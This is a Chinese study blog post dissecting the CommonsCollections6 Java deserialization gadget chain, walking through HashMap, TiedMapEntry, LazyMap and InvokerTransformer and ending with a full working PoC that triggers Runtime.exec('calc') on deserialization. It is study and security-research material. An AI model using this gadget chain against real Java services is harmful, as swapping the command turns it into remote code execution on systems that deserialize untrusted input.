• [Java反序列化]—CommonsCollections6


    先贴个图

     

    0x01:

    CC 6 应该是CC1 和 URLDNS 的综合,有一定联系,审一下吧

    JDK版本需低于 8u71    AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6

    分析:

    cc1 的LazyMap链子  readObject -> 动态代理 invoke() -> get () -> transform () ,而在8u71 之后,readObject 变化了 ,不能再用此方式调用get ,需要另找出路。

    看看公开链子:

    1. Gadget chain:
    2. java.io.ObjectInputStream.readObject()
    3. java.util.HashMap.readObject()
    4. java.util.HashMap.hash()
    5. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
    6. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
    7. org.apache.commons.collections.map.LazyMap.get()
    8. org.apache.commons.collections.functors.ChainedTransformer.transform()
    9. org.apache.commons.collections.functors.InvokerTransformer.transform()
    10. java.lang.reflect.Method.invoke()
    11. java.lang.Runtime.exec()

    通过TiedMapEntry.getValue()调用 get() ,其中key为传参, 可以根据 TiedMapEntry 类的构造器获取, 因为我们需要把 LAzyMap 后半段的链街上,所以要调用的是LazyMap的get()。

    1. public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    2. public TiedMapEntry(Map map, Object key) {
    3. super();
    4. this.map = map;
    5. this.key = key;
    6. }
    7. public Object getValue() {
    8. return map.get(key);
    9. }
    10. }

    这里我们需要把map  = Lazymap,触发 LazyMap 的get() 方法

    先构造一下基本的链子,前面跟cc1 的Lazy差不多,需要满足map=LazyMap,所以需要实例化一个TiedMapEntry。由于我们用的是map 所以这里的map传的是我们 LazyMap.decorate过后的outMap,也就是相当于传入了LazyMap。因为我们用到的是 map.get(),而key 是什么 并不重要。

    1. public class cc6 {
    2. public static void main(String[] args) throws Exception {
    3. Transformer transformers[] = new Transformer[]{
    4. new ConstantTransformer(Runtime.class),
    5. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    6. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    7. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    8. };
    9. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    10. HashMap map = new HashMap<>();
    11. Map outmap = LazyMap.decorate(map, chainedTransformer);
    12. TiedMapEntry tiedMapEntry = new TiedMapEntry(outmap, "snowy");

    之后再看看哪里调用了getValue()

     在本类中找到了 hashCode() 方法:

    1. public int hashCode() {
    2. Object value = getValue();
    3. return (getKey() == null ? 0 : getKey().hashCode()) ^
    4. (value == null ? 0 : value.hashCode());
    5. }

    好熟悉的 getKey().hashCode(),审计过urldns 的就清楚了,这是在HashMap中的hash方法中调用的key.hashCode()

    1. static final int hash(Object key) {
    2. int h;
    3. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    4. }

    而HashMap类中重写了 自己的readObject() 方法,在readObject中调用了hash

    return putVal(hash(key), key, value, false, true);
    

    而我们想要调用 TiedMapEntry.hashCode ,所以我们要给key 赋值 TiedMapEntry 。value的话就随意了,所以就需要通过put传值

    hashMap.put(tiedMapEntry,"snowy");
    

    至此整条链子结束。

    打断点发现了几个问题:

     到此处就已经弹出了 计算器,也就是在给map 和 key 赋值完,就会弹出计算器,并且还会弹两次。

    这是因为我们在  put修改值的时候,其实就已经调用了hash 方法,接着一条链就调用了

    如果我们不想让他执行,可以使后面的chainedTransformer 为其他值,然后需要的时候再改回来即可:

    Map outerMap == LazyMap.decorate(map, chainedTransformer);
    

    改为

    Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
    

    因为是LazyMap类的调用的这个地方。

    1. public static Map decorate(Map map, Factory factory) {
    2. return new LazyMap(map, factory);
    3. }

     

    而factory 是protected final Transformer factory

     

    所以我们要反射爆破修改其值。

    1. Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
    2. Field factoryField = lazyMapClass.getDeclaredField("factory");
    3. factoryField.setAccessible(true);
    4. factoryField.set(outerMap,chainedTransformer);

    POC

    1. package CommonsCollections6;
    2. import com.sun.corba.se.impl.orbutil.ObjectUtility;
    3. import org.apache.commons.collections.Transformer;
    4. import org.apache.commons.collections.functors.ChainedTransformer;
    5. import org.apache.commons.collections.functors.ConstantTransformer;
    6. import org.apache.commons.collections.functors.InvokerTransformer;
    7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    8. import org.apache.commons.collections.map.LazyMap;
    9. import java.io.*;
    10. import java.lang.reflect.Field;
    11. import java.util.HashMap;
    12. import java.util.Map;
    13. public class cc6 {
    14. public static void main(String[] args) throws Exception {
    15. Transformer[] transformers = new Transformer[]{
    16. new ConstantTransformer(Runtime.class),
    17. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    18. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    19. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    20. };
    21. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    22. Map innerMap = new HashMap();
    23. //使其不自动调用
    24. Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
    25. TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
    26. Map hashMap = new HashMap();
    27. hashMap.put(tiedMapEntry,"Sentiemnt2");
    28. //反射爆破factory
    29. Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
    30. Field factoryField = lazyMapClass.getDeclaredField("factory");
    31. factoryField.setAccessible(true);
    32. factoryField.set(outerMap,chainedTransformer);
    33. //真正的触发计算器
    34. serialize(hashMap);
    35. unserialize("1.txt");
    36. }
    37. public static void serialize(Object obj) throws IOException {
    38. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
    39. out.writeObject(obj);
    40. }
    41. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    42. ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    43. Object o = In.readObject();
    44. return o;
    45. }
    46. }

    rethink

    督促自己要多打断点 发现问题,而不是总参考其他文章。最后使的自己没了解透。

  • 相关阅读:
    一文带你搞懂数据库事务
    AI中英文翻译软件,一键批量多语种翻译
    信创国产化,高速数据传输系统-UTS
    Chain-Of-Note:解决噪声数据、不相关文档和域外场景来改进RAG的表现
    32GB Jetson Orin SOM 不能刷机问题排查
    【配置】Redis常用配置详解
    垃圾桶--360安全浏览器插件,用于自助过滤不良信息;
    中间件Weblogic12.2.1.4与iServer 8C 10i兼容性问题解决过程分享
    三子棋小游戏(C语言)
    ant Design Table表格渲染慢、卡死问题前端解决方法-虚拟表格
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/127876191